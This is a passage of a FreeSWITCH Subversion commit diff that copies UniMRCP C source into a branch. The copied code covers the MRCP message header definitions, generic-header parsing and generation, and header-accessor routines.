+	/** MRCP method name */
+	apt_str_t            method_name;
+	/** MRCP method id (associated with method name) */
+	mrcp_method_id       method_id;
+	/** Success or failure or other status of the request */
+	mrcp_status_code_e   status_code;
+	/** The state of the job initiated by the request */
+	mrcp_request_state_e request_state;
+};
+
+/** Initialize MRCP start-line */
+MRCP_DECLARE(void) mrcp_start_line_init(mrcp_start_line_t *start_line);
+/** Parse MRCP start-line */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_parse(mrcp_start_line_t *start_line, apt_text_stream_t *text_stream, apr_pool_t *pool);
+/** Generate MRCP start-line */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_generate(mrcp_start_line_t *start_line, apt_text_stream_t *text_stream);
+/** Finalize MRCP start-line generation */
+MRCP_DECLARE(apt_bool_t) mrcp_start_line_finalize(mrcp_start_line_t *start_line, apr_size_t content_length, apt_text_stream_t *text_stream);
+
+
+/** MRCP channel-identifier */
+struct mrcp_channel_id {
+	/** Unambiguous string identifying the MRCP session */
+	apt_str_t        session_id;
+	/** MRCP resource name */
+	apt_str_t        resource_name;
+	/** MRCP resource id (associated with resource name) */
+	mrcp_resource_id resource_id;
+};
+
+/** Initialize MRCP channel-identifier */
+MRCP_DECLARE(void) mrcp_channel_id_init(mrcp_channel_id *channel_id);
+
+/** Parse MRCP channel-identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_channel_id_parse(mrcp_channel_id *channel_id, apt_text_stream_t *text_stream, apr_pool_t *pool);
+
+/** Generate MRCP channel-identifier */
+MRCP_DECLARE(apt_bool_t) mrcp_channel_id_generate(mrcp_channel_id *channel_id, apt_text_stream_t *text_stream);
+
+
+/** MRCP message-header */
+struct mrcp_message_header_t {
+	/** MRCP generic-header */
+	mrcp_header_accessor_t generic_header_accessor;
+	/** MRCP resource specific header */
+	mrcp_header_accessor_t resource_header_accessor;
+};
+
+/** Initialize MRCP message-header */
+static APR_INLINE void mrcp_message_header_init(mrcp_message_header_t *message_header)
+{
+	mrcp_header_accessor_init(&message_header->generic_header_accessor);
+	mrcp_header_accessor_init(&message_header->resource_header_accessor);
+}
+
+/** Destroy MRCP message-header */
+static APR_INLINE void mrcp_message_header_destroy(mrcp_message_header_t *message_header)
+{
+	mrcp_header_destroy(&message_header->generic_header_accessor);
+	mrcp_header_destroy(&message_header->resource_header_accessor);
+}
+
+
+/** Parse MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_parse(mrcp_message_header_t *message_header, apt_text_stream_t *text_stream, apr_pool_t *pool);
+
+/** Generate MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_generate(mrcp_message_header_t *message_header, apt_text_stream_t *text_stream);
+
+/** Set MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_set(mrcp_message_header_t *message_header, const mrcp_message_header_t *src, apr_pool_t *pool);
+
+/** Get MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_get(mrcp_message_header_t *message_header, const mrcp_message_header_t *src, apr_pool_t *pool);
+
+/** Inherit MRCP message-header */
+MRCP_DECLARE(apt_bool_t) mrcp_message_header_inherit(mrcp_message_header_t *message_header, const mrcp_message_header_t *parent, apr_pool_t *pool);
+
+
+
+/** MRCP message */
+struct mrcp_message_t {
+	/** Start-line of MRCP message */
+	mrcp_start_line_t      start_line;
+	/** Channel-identifier of MRCP message */
+	mrcp_channel_id        channel_id;
+	/** Header of MRCP message */
+	mrcp_message_header_t  header;
+	/** Body of MRCP message */
+	apt_str_t              body;
+
+	/** Memory pool MRCP message is allocated from */
+	apr_pool_t            *pool;
+};
+
+/** Create MRCP message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_message_create(apr_pool_t *pool);
+
+/** Initialize MRCP message */
+MRCP_DECLARE(void) mrcp_message_init(mrcp_message_t *message, apr_pool_t *pool);
+
+/** Initialize MRCP response/event message by request message */
+MRCP_DECLARE(void) mrcp_message_init_by_request(mrcp_message_t *message, const mrcp_message_t *request_message);
+
+/** Create MRCP request message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_request_create(mrcp_resource_id resource_id, mrcp_method_id method_id, apr_pool_t *pool);
+/** Create MRCP response message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_response_create(const mrcp_message_t *request_message, apr_pool_t *pool);
+/** Create MRCP event message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_event_create(const mrcp_message_t *request_message, mrcp_method_id event_id, apr_pool_t *pool);
+
+/** Validate MRCP message */
+MRCP_DECLARE(apt_bool_t) mrcp_message_validate(mrcp_message_t *message);
+
+/** Destroy MRCP message */
+MRCP_DECLARE(void) mrcp_message_destroy(mrcp_message_t *message);
+
+
+/** Parse MRCP message-body */
+MRCP_DECLARE(apt_bool_t) mrcp_body_parse(mrcp_message_t *message, apt_text_stream_t *text_stream, apr_pool_t *pool);
+/** Generate MRCP message-body */
+MRCP_DECLARE(apt_bool_t) mrcp_body_generate(mrcp_message_t *message, apt_text_stream_t *text_stream);
+
+/** Get MRCP generic-header */
+static APR_INLINE void* mrcp_generic_header_get(mrcp_message_t *mrcp_message)
+{
+	return mrcp_message->header.generic_header_accessor.data;
+}
+
+/** Prepare MRCP generic-header */
+static APR_INLINE void* mrcp_generic_header_prepare(mrcp_message_t *mrcp_message)
+{
+	return mrcp_header_allocate(&mrcp_message->header.generic_header_accessor,mrcp_message->pool);
+}
+
+/** Add MRCP generic-header proprerty */
+static APR_INLINE void mrcp_generic_header_property_add(mrcp_message_t *mrcp_message, size_t id)
+{
+	mrcp_header_property_add(&mrcp_message->header.generic_header_accessor,id);
+}
+
+/** Add MRCP generic-header name only proprerty (should be used to construct empty headers in case of GET-PARAMS request) */
+static APR_INLINE void mrcp_generic_header_name_property_add(mrcp_message_t *mrcp_message, size_t id)
+{
+	mrcp_header_name_property_add(&mrcp_message->header.generic_header_accessor,id);
+}
+
+/** Check MRCP generic-header proprerty */
+static APR_INLINE apt_bool_t mrcp_generic_header_property_check(mrcp_message_t *mrcp_message, size_t id)
+{
+	return mrcp_header_property_check(&mrcp_message->header.generic_header_accessor,id);
+}
+
+
+/** Get MRCP resource-header */
+static APR_INLINE void* mrcp_resource_header_get(const mrcp_message_t *mrcp_message)
+{
+	return mrcp_message->header.resource_header_accessor.data;
+}
+
+/** Prepare MRCP resource-header */
+static APR_INLINE void* mrcp_resource_header_prepare(mrcp_message_t *mrcp_message)
+{
+	return mrcp_header_allocate(&mrcp_message->header.resource_header_accessor,mrcp_message->pool);
+}
+
+/** Add MRCP resource-header proprerty */
+static APR_INLINE void mrcp_resource_header_property_add(mrcp_message_t *mrcp_message, size_t id)
+{
+	mrcp_header_property_add(&mrcp_message->header.resource_header_accessor,id);
+}
+
+/** Add MRCP resource-header name only proprerty (should be used to construct empty headers in case of GET-PARAMS request) */
+static APR_INLINE void mrcp_resource_header_name_property_add(mrcp_message_t *mrcp_message, size_t id)
+{
+	mrcp_header_name_property_add(&mrcp_message->header.resource_header_accessor,id);
+}
+
+/** Check MRCP resource-header proprerty */
+static APR_INLINE apt_bool_t mrcp_resource_header_property_check(mrcp_message_t *mrcp_message, size_t id)
+{
+	return mrcp_header_property_check(&mrcp_message->header.resource_header_accessor,id);
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_MESSAGE_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_generic_header.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_generic_header.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/src/mrcp_generic_header.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_generic_header.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_generic_header.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,330 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_generic_header.h"
+
+/** String table of mrcp generic-header fields (mrcp_generic_header_id) */
+static const apt_str_table_item_t generic_header_string_table[] = {
+	{{"Active-Request-Id-List",    22},3},
+	{{"Proxy-Sync-Id",             13},0},
+	{{"Accept-Charset",            14},7},
+	{{"Content-Type",              12},9},
+	{{"Content-Id",                10},9},
+	{{"Content-Base",              12},8},
+	{{"Content-Encoding",          16},9},
+	{{"Content-Location",          16},9},
+	{{"Content-Length",            14},10},
+	{{"Cache-Control",             13},1},
+	{{"Logging-Tag",               11},0},
+	{{"Vendor-Specific-Parameters",26},0},
+	{{"Accept",                     6},6},
+	{{"Fetch-Timeout",             13},0},
+	{{"Set-Cookie",                10},10},
+	{{"Set-Cookie2",               11},10}
+};
+
+
+/** Parse mrcp request-id list */
+static apt_bool_t mrcp_request_id_list_parse(mrcp_request_id_list_t *request_id_list, const apt_str_t *value)
+{
+	apt_str_t field;
+	apt_text_stream_t stream;
+	stream.text = *value;
+	stream.pos = stream.text.buf;
+	request_id_list->count = 0;
+	while(request_id_list->count < MAX_ACTIVE_REQUEST_ID_COUNT) {
+		if(apt_text_field_read(&stream,',',TRUE,&field) == FALSE) {
+			break;
+		}
+		request_id_list->ids[request_id_list->count] = apt_size_value_parse(&field);
+		request_id_list->count++;
+	}
+	return TRUE;
+}
+
+/** Generate mrcp request-id list */
+static apt_bool_t mrcp_request_id_list_generate(mrcp_request_id_list_t *request_id_list, apt_text_stream_t *stream)
+{
+	size_t i;
+	for(i=0; i<request_id_list->count; i++) {
+		apt_size_value_generate(request_id_list->ids[i],stream);
+		if(i < request_id_list->count-1) {
+			*stream->pos++ = ',';
+		}
+	}
+	return TRUE;
+}
+
+
+/** Initialize generic-header */
+static void mrcp_generic_header_init(mrcp_generic_header_t *generic_header)
+{
+	generic_header->active_request_id_list.count = 0;
+	apt_string_reset(&generic_header->proxy_sync_id);
+	apt_string_reset(&generic_header->accept_charset);
+	apt_string_reset(&generic_header->content_type);
+	apt_string_reset(&generic_header->content_id);
+	apt_string_reset(&generic_header->content_base);
+	apt_string_reset(&generic_header->content_encoding);
+	apt_string_reset(&generic_header->content_location);
+	generic_header->content_length = 0;
+	apt_string_reset(&generic_header->cache_control);
+	apt_string_reset(&generic_header->logging_tag);
+	generic_header->vendor_specific_params = NULL;
+	/* initializes additionnal MRCP V2 generic headers */
+	apt_string_reset(&generic_header->accept);
+	generic_header->fetch_timeout = 0;
+	apt_string_reset(&generic_header->set_cookie);
+	apt_string_reset(&generic_header->set_cookie2);
+}
+
+
+/** Allocate generic-header */
+static void* mrcp_generic_header_allocate(mrcp_header_accessor_t *accessor, apr_pool_t *pool)
+{
+	mrcp_generic_header_t *generic_header = apr_palloc(pool,sizeof(mrcp_generic_header_t));
+	mrcp_generic_header_init(generic_header);
+	accessor->data = generic_header;
+	return accessor->data;
+}
+
+/** Parse generic-header */
+static apt_bool_t mrcp_generic_header_parse(mrcp_header_accessor_t *accessor, size_t id, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_bool_t status = TRUE;
+	mrcp_generic_header_t *generic_header = accessor->data;
+	switch(id) {
+		case GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST:
+			mrcp_request_id_list_parse(&generic_header->active_request_id_list,value);
+			break;
+		case GENERIC_HEADER_PROXY_SYNC_ID:
+			apt_string_copy(&generic_header->proxy_sync_id,value,pool);
+			break;
+		case GENERIC_HEADER_ACCEPT_CHARSET:
+			apt_string_copy(&generic_header->accept_charset,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_TYPE:
+			apt_string_copy(&generic_header->content_type,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_ID:
+			apt_string_copy(&generic_header->content_id,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_BASE:
+			apt_string_copy(&generic_header->content_base,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_ENCODING:
+			apt_string_copy(&generic_header->content_encoding,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_LOCATION:
+			apt_string_copy(&generic_header->content_location,value,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_LENGTH:
+			generic_header->content_length = apt_size_value_parse(value);
+			break;
+		case GENERIC_HEADER_CACHE_CONTROL:
+			apt_string_copy(&generic_header->cache_control,value,pool);
+			break;
+		case GENERIC_HEADER_LOGGING_TAG:
+			apt_string_copy(&generic_header->logging_tag,value,pool);
+			break;
+		case GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS:
+			if(!generic_header->vendor_specific_params) {
+				generic_header->vendor_specific_params = apt_pair_array_create(1,pool);
+			}
+			apt_pair_array_parse(generic_header->vendor_specific_params,value,pool);
+			break;
+		case GENERIC_HEADER_ACCEPT:
+			apt_string_copy(&generic_header->accept,value,pool);
+			break;
+		case GENERIC_HEADER_FETCH_TIMEOUT:
+			generic_header->fetch_timeout = apt_size_value_parse(value);
+			break;
+		case GENERIC_HEADER_SET_COOKIE:
+			apt_string_copy(&generic_header->set_cookie,value,pool);
+			break;
+		case GENERIC_HEADER_SET_COOKIE2:
+			apt_string_copy(&generic_header->set_cookie2,value,pool);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+/** Generate generic-header */
+static apt_bool_t mrcp_generic_header_generate(mrcp_header_accessor_t *accessor, size_t id, apt_text_stream_t *value)
+{
+	mrcp_generic_header_t *generic_header = accessor->data;
+	switch(id) {
+		case GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST:
+			mrcp_request_id_list_generate(&generic_header->active_request_id_list,value);
+			break;
+		case GENERIC_HEADER_PROXY_SYNC_ID:
+			apt_string_value_generate(&generic_header->proxy_sync_id,value);
+			break;
+		case GENERIC_HEADER_ACCEPT_CHARSET:
+			apt_string_value_generate(&generic_header->accept_charset,value);
+			break;
+		case GENERIC_HEADER_CONTENT_TYPE:
+			apt_string_value_generate(&generic_header->content_type,value);
+			break;
+		case GENERIC_HEADER_CONTENT_ID:
+			apt_string_value_generate(&generic_header->content_id,value);
+			break;
+		case GENERIC_HEADER_CONTENT_BASE:
+			apt_string_value_generate(&generic_header->content_base,value);
+			break;
+		case GENERIC_HEADER_CONTENT_ENCODING:
+			apt_string_value_generate(&generic_header->content_encoding,value);
+			break;
+		case GENERIC_HEADER_CONTENT_LOCATION:
+			apt_string_value_generate(&generic_header->content_location,value);
+			break;
+		case GENERIC_HEADER_CONTENT_LENGTH:
+			apt_size_value_generate(generic_header->content_length,value);
+			break;
+		case GENERIC_HEADER_CACHE_CONTROL:
+			apt_string_value_generate(&generic_header->cache_control,value);
+			break;
+		case GENERIC_HEADER_LOGGING_TAG:
+			apt_string_value_generate(&generic_header->logging_tag,value);
+			break;
+		case GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS:
+			apt_pair_array_generate(generic_header->vendor_specific_params,value);
+			break;
+		case GENERIC_HEADER_ACCEPT:
+			apt_string_value_generate(&generic_header->accept,value);
+			break;
+		case GENERIC_HEADER_FETCH_TIMEOUT:
+			apt_size_value_generate(generic_header->fetch_timeout,value);
+			break;
+		case GENERIC_HEADER_SET_COOKIE:
+			apt_string_value_generate(&generic_header->set_cookie,value);
+			break;
+		case GENERIC_HEADER_SET_COOKIE2:
+			apt_string_value_generate(&generic_header->set_cookie2,value);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+/** Duplicate generic-header */
+static apt_bool_t mrcp_generic_header_duplicate(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, size_t id, apr_pool_t *pool)
+{
+	mrcp_generic_header_t *generic_header = accessor->data;
+	const mrcp_generic_header_t *src_generic_header = src->data;
+	apt_bool_t status = TRUE;
+
+	if(!generic_header || !src_generic_header) {
+		return FALSE;
+	}
+
+	switch(id) {
+		case GENERIC_HEADER_ACTIVE_REQUEST_ID_LIST:
+			break;
+		case GENERIC_HEADER_PROXY_SYNC_ID:
+			apt_string_copy(&generic_header->proxy_sync_id,&src_generic_header->proxy_sync_id,pool);
+			break;
+		case GENERIC_HEADER_ACCEPT_CHARSET:
+			apt_string_copy(&generic_header->accept_charset,&src_generic_header->accept_charset,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_TYPE:
+			apt_string_copy(&generic_header->content_type,&src_generic_header->content_type,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_ID:
+			apt_string_copy(&generic_header->content_id,&src_generic_header->content_id,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_BASE:
+			apt_string_copy(&generic_header->content_base,&src_generic_header->content_base,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_ENCODING:
+			apt_string_copy(&generic_header->content_encoding,&src_generic_header->content_encoding,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_LOCATION:
+			apt_string_copy(&generic_header->content_location,&src_generic_header->content_location,pool);
+			break;
+		case GENERIC_HEADER_CONTENT_LENGTH:
+			generic_header->content_length = src_generic_header->content_length;
+			break;
+		case GENERIC_HEADER_CACHE_CONTROL:
+			apt_string_copy(&generic_header->cache_control,&src_generic_header->cache_control,pool);
+			break;
+		case GENERIC_HEADER_LOGGING_TAG:
+			apt_string_copy(&generic_header->logging_tag,&src_generic_header->logging_tag,pool);
+			break;
+		case GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS:
+			generic_header->vendor_specific_params = apt_pair_array_copy(src_generic_header->vendor_specific_params,pool);
+			break;
+		case GENERIC_HEADER_ACCEPT:
+			apt_string_copy(&generic_header->accept,&src_generic_header->accept,pool);
+			break;
+		case GENERIC_HEADER_FETCH_TIMEOUT:
+			generic_header->fetch_timeout = src_generic_header->fetch_timeout;
+			break;
+		case GENERIC_HEADER_SET_COOKIE:
+			apt_string_copy(&generic_header->set_cookie,&src_generic_header->set_cookie,pool);
+			break;
+		case GENERIC_HEADER_SET_COOKIE2:
+			apt_string_copy(&generic_header->set_cookie2,&src_generic_header->set_cookie2,pool);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+static const mrcp_header_vtable_t vtable = {
+	mrcp_generic_header_allocate,
+	NULL, /* nothing to destroy */
+	mrcp_generic_header_parse,
+	mrcp_generic_header_generate,
+	mrcp_generic_header_duplicate,
+	generic_header_string_table,
+	GENERIC_HEADER_COUNT
+};
+
+
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_generic_header_vtable_get(mrcp_version_e version)
+{
+	return &vtable;
+}
+
+
+/** Append active request id list */
+MRCP_DECLARE(apt_bool_t) active_request_id_list_append(mrcp_generic_header_t *generic_header, mrcp_request_id request_id)
+{
+	mrcp_request_id_list_t *request_id_list = &generic_header->active_request_id_list;
+	if(request_id_list->count >= MAX_ACTIVE_REQUEST_ID_COUNT) {
+		return FALSE;
+	}
+	request_id_list->ids[request_id_list->count++] = request_id;
+	return TRUE;
+}
+
+/** Find request id in active request id list */
+MRCP_DECLARE(apt_bool_t) active_request_id_list_find(mrcp_generic_header_t *generic_header, mrcp_request_id request_id)
+{
+	size_t i;
+	mrcp_request_id_list_t *request_id_list = &generic_header->active_request_id_list;
+	for(i=0; i<request_id_list->count; i++) {
+		if(request_id_list->ids[i] == request_id) {
+			return TRUE;
+		}
+	}
+	return FALSE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_header_accessor.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_header_accessor.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/src/mrcp_header_accessor.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_header_accessor.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_header_accessor.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_header_accessor.h"
+
+typedef enum {
+	MRCP_HEADER_FIELD_NONE       = 0x0,
+	MRCP_HEADER_FIELD_NAME       = 0x1,
+	MRCP_HEADER_FIELD_VALUE      = 0x2,
+	MRCP_HEADER_FIELD_NAME_VALUE = MRCP_HEADER_FIELD_NAME | MRCP_HEADER_FIELD_VALUE
+} mrcp_header_property_e;
+
+
+MRCP_DECLARE(apt_bool_t) mrcp_header_parse(mrcp_header_accessor_t *accessor, const apt_pair_t *pair, apr_pool_t *pool)
+{
+	size_t id;
+	if(!accessor->vtable) {
+		return FALSE;
+	}
+
+	id = apt_string_table_id_find(accessor->vtable->field_table,accessor->vtable->field_count,&pair->name);
+	if(id >= accessor->vtable->field_count) {
+		return FALSE;
+	}
+
+	if(!pair->value.length) {
+		mrcp_header_name_property_add(accessor,id);
+		return TRUE;
+	}
+
+	if(accessor->vtable->parse_field(accessor,id,&pair->value,pool) == FALSE) {
+		return FALSE;
+	}
+	
+	mrcp_header_property_add(accessor,id);
+	return TRUE;
+}
+
+MRCP_DECLARE(apt_bool_t) mrcp_header_generate(mrcp_header_accessor_t *accessor, apt_text_stream_t *text_stream)
+{
+	const apt_str_t *name;
+	apr_size_t i,j;
+	char prop;
+
+	if(!accessor->vtable) {
+		return FALSE;
+	}
+
+	for(i=0, j=0; i<accessor->vtable->field_count && j<accessor->counter; i++) {
+		prop = accessor->properties[i];
+		if((prop & MRCP_HEADER_FIELD_NAME) == MRCP_HEADER_FIELD_NAME) {
+			j++;
+			name = apt_string_table_str_get(accessor->vtable->field_table,accessor->vtable->field_count,i);
+			if(!name) continue;
+			
+			apt_text_header_name_generate(name,text_stream);
+			if((prop & MRCP_HEADER_FIELD_VALUE) == MRCP_HEADER_FIELD_VALUE) {
+				accessor->vtable->generate_field(accessor,i,text_stream);
+			}
+			apt_text_eol_insert(text_stream);
+		}
+	}
+
+	return TRUE;
+}
+
+MRCP_DECLARE(void) mrcp_header_property_add(mrcp_header_accessor_t *accessor, apr_size_t id)
+{
+	if(id < accessor->vtable->field_count) {
+		char *prop = &accessor->properties[id];
+		if((*prop & MRCP_HEADER_FIELD_NAME) != MRCP_HEADER_FIELD_NAME) {
+			accessor->counter++;
+		}
+		*prop = MRCP_HEADER_FIELD_NAME_VALUE;
+	}
+}
+
+MRCP_DECLARE(void) mrcp_header_name_property_add(mrcp_header_accessor_t *accessor, apr_size_t id)
+{
+	if(id < accessor->vtable->field_count) {
+		char *prop = &accessor->properties[id];
+		if((*prop & MRCP_HEADER_FIELD_NAME) != MRCP_HEADER_FIELD_NAME) {
+			*prop = MRCP_HEADER_FIELD_NAME;
+			accessor->counter++;
+		}
+	}
+}
+
+
+MRCP_DECLARE(void) mrcp_header_property_remove(mrcp_header_accessor_t *accessor, apr_size_t id)
+{
+	if(id < accessor->vtable->field_count) {
+		char *prop = &accessor->properties[id];
+		if((*prop & MRCP_HEADER_FIELD_NAME) == MRCP_HEADER_FIELD_NAME) {
+			accessor->counter--;
+		}
+		*prop = MRCP_HEADER_FIELD_NONE;
+	}
+}
+
+MRCP_DECLARE(apt_bool_t) mrcp_header_property_check(mrcp_header_accessor_t *accessor, apr_size_t id)
+{
+	if((id < accessor->vtable->field_count) && accessor->properties) {
+		if((accessor->properties[id] & MRCP_HEADER_FIELD_NAME) == MRCP_HEADER_FIELD_NAME) {
+			return TRUE;
+		}
+	}
+	return FALSE;
+}
+
+
+MRCP_DECLARE(apt_bool_t) mrcp_header_set(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *src, const mrcp_header_accessor_t *mask, apr_pool_t *pool)
+{
+	apr_size_t i,j;
+
+	if(!accessor->vtable || !src->vtable) {
+		return FALSE;
+	}
+
+	mrcp_header_allocate(accessor,pool);
+
+	for(i=0, j=0; i < src->vtable->field_count && j < src->counter; i++) {
+		if((mask->properties[i] & src->properties[i] & MRCP_HEADER_FIELD_NAME) == MRCP_HEADER_FIELD_NAME) {
+			j++;
+			if((src->properties[i] & MRCP_HEADER_FIELD_VALUE) == MRCP_HEADER_FIELD_VALUE) {
+				accessor->vtable->duplicate_field(accessor,src,i,pool);
+				mrcp_header_property_add(accessor,i);
+			}
+			else {
+				mrcp_header_name_property_add(accessor,i);
+			}
+		}
+	}
+
+	return TRUE;
+}
+
+MRCP_DECLARE(apt_bool_t) mrcp_header_inherit(mrcp_header_accessor_t *accessor, const mrcp_header_accessor_t *parent, apr_pool_t *pool)
+{
+	apr_size_t i,j;
+
+	if(!accessor->vtable || !parent->vtable) {
+		return FALSE;
+	}
+
+	mrcp_header_allocate(accessor,pool);
+
+	for(i=0, j=0; i<parent->vtable->field_count && j < parent->counter; i++) {
+		if((parent->properties[i] & MRCP_HEADER_FIELD_NAME) == MRCP_HEADER_FIELD_NAME) {
+			j++;
+			if((parent->properties[i] & MRCP_HEADER_FIELD_VALUE) == MRCP_HEADER_FIELD_VALUE) {
+				accessor->vtable->duplicate_field(accessor,parent,i,pool);
+				mrcp_header_property_add(accessor,i);
+			}
+			else {
+				mrcp_header_name_property_add(accessor,i);
+			}
+		}
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_message.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_message.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/message/src/mrcp_message.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_message.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/message/src/mrcp_message.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,691 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "apt_log.h"
+
+/** Protocol name used in version string */
+#define MRCP_NAME               "MRCP"
+#define MRCP_NAME_LENGTH        (sizeof(MRCP_NAME)-1)
+
+#define MRCP_CHANNEL_ID         "Channel-Identifier"
+#define MRCP_CHANNEL_ID_LENGTH  (sizeof(MRCP_CHANNEL_ID)-1)
+
+/** Separators used in MRCP version string parse/generate */
+#define MRCP_NAME_VERSION_SEPARATOR        '/'
+#define MRCP_VERSION_MAJOR_MINOR_SEPARATOR '.'
+
+#define MRCP_MESSAGE_LENGTH_MAX_DIGITS_COUNT 4
+
+
+/** String table of MRCP request-states (mrcp_request_state_t) */
+static const apt_str_table_item_t mrcp_request_state_string_table[] = {
+	{{"COMPLETE",    8},0},
+	{{"IN-PROGRESS",11},0},
+	{{"PENDING",     7},0}
+};
+
+
+/** Parse MRCP version */
+static mrcp_version_e mrcp_version_parse(const apt_str_t *field)
+{
+	mrcp_version_e version = MRCP_VERSION_UNKNOWN;
+	const char *pos;
+	if(field->length <= MRCP_NAME_LENGTH || strncasecmp(field->buf,MRCP_NAME,MRCP_NAME_LENGTH) != 0) {
+		/* unexpected protocol name */
+		return version;
+	}
+
+	pos = field->buf + MRCP_NAME_LENGTH;
+	if(*pos == MRCP_NAME_VERSION_SEPARATOR) {
+		pos++;
+		switch(*pos) {
+			case '1': version = MRCP_VERSION_1; break;
+			case '2': version = MRCP_VERSION_2; break;
+			default: ;
+		}
+	}
+	return version;
+}
+
+/** Generate MRCP version */
+static apt_bool_t mrcp_version_generate(mrcp_version_e version, apt_text_stream_t *stream)
+{
+	memcpy(stream->pos,MRCP_NAME,MRCP_NAME_LENGTH);
+	stream->pos += MRCP_NAME_LENGTH;
+	*stream->pos++ = MRCP_NAME_VERSION_SEPARATOR;
+	apt_size_value_generate(version,stream);
+	*stream->pos++ = MRCP_VERSION_MAJOR_MINOR_SEPARATOR;
+	*stream->pos++ = '0';
+	return TRUE;
+}
+
+/** Parse MRCP request-state used in MRCP response and event */
+static APR_INLINE mrcp_request_state_e mrcp_request_state_parse(const apt_str_t *request_state_str)
+{
+	return apt_string_table_id_find(mrcp_request_state_string_table,MRCP_REQUEST_STATE_COUNT,request_state_str);
+}
+
+/** Generate MRCP request-state used in MRCP response and event */
+static apt_bool_t mrcp_request_state_generate(mrcp_request_state_e request_state, apt_text_stream_t *stream)
+{
+	const apt_str_t *name;
+	name = apt_string_table_str_get(mrcp_request_state_string_table,MRCP_REQUEST_STATE_COUNT,request_state);
+	if(request_state < MRCP_REQUEST_STATE_COUNT) {
+		memcpy(stream->pos,name->buf,name->length);
+		stream->pos += name->length;
+	}
+	return TRUE;
+}
